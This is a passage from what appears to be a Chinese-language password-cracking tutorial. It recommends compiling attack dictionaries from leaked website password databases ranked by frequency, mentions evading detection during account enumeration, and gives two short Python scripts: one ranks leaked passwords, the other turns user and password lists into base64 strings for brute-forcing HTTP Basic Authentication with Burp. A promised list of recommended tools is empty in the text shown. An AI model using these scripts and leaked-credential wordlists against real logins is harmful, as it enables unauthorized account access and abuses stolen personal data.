0x01 整理一份优秀的字典 想破解密码,要求我们已经"拥有"别人的密码.字典在口令扫描尝试过程中的重要性不言而喻.要整理一份优秀的字典,不妨参考各大网站泄漏数据库,将密码(明文)字段收集后,依出现频率先后生成字典. 一个demo脚本: #!/bin/bash/python import sys from collections import Counter file = open(sys.argv[1], 'r') readlist = [] count_times = [] for line in file.readlines(): line = line.strip('\r\n ') readlist.append(line) sortlist = Counter(readlist).most_common() for line in sortlist: print line[0]
欲善其事,须利其器.在密码枚举工具中,笔者比较推荐的工具List如下:
当然,根据特定需要(如加入各种伪装绕过检测),可能也需要我们自行编写相应脚本实现枚举账户的过程.
Base64解密即为admin:admin.针对基础认证密码破解,依旧可以使用,但需要对用户名密码先做处理,一个demo脚本如下: #!/usr/bin/python import os.path,sys,base64 userfile = raw_input("input usr file:") passfile = raw_input("input pwd file:") outputfile = raw_input("input out file:") outputfile = open(outputfile, "w") userInfile = open(userfile) passInfile = open(passfile) userLines = userInfile.readlines() passLines = passInfile.readlines() for userLine in userLines: for passLine in passLines: combinedLine = userLine.strip() + ':' + passLine.strip() print combinedLine outputfile.write(base64.b64encode(combinedLine) + '\n') userInfile.close() passInfile.close() outputfile.close() 生成字典后以Burp爆破即可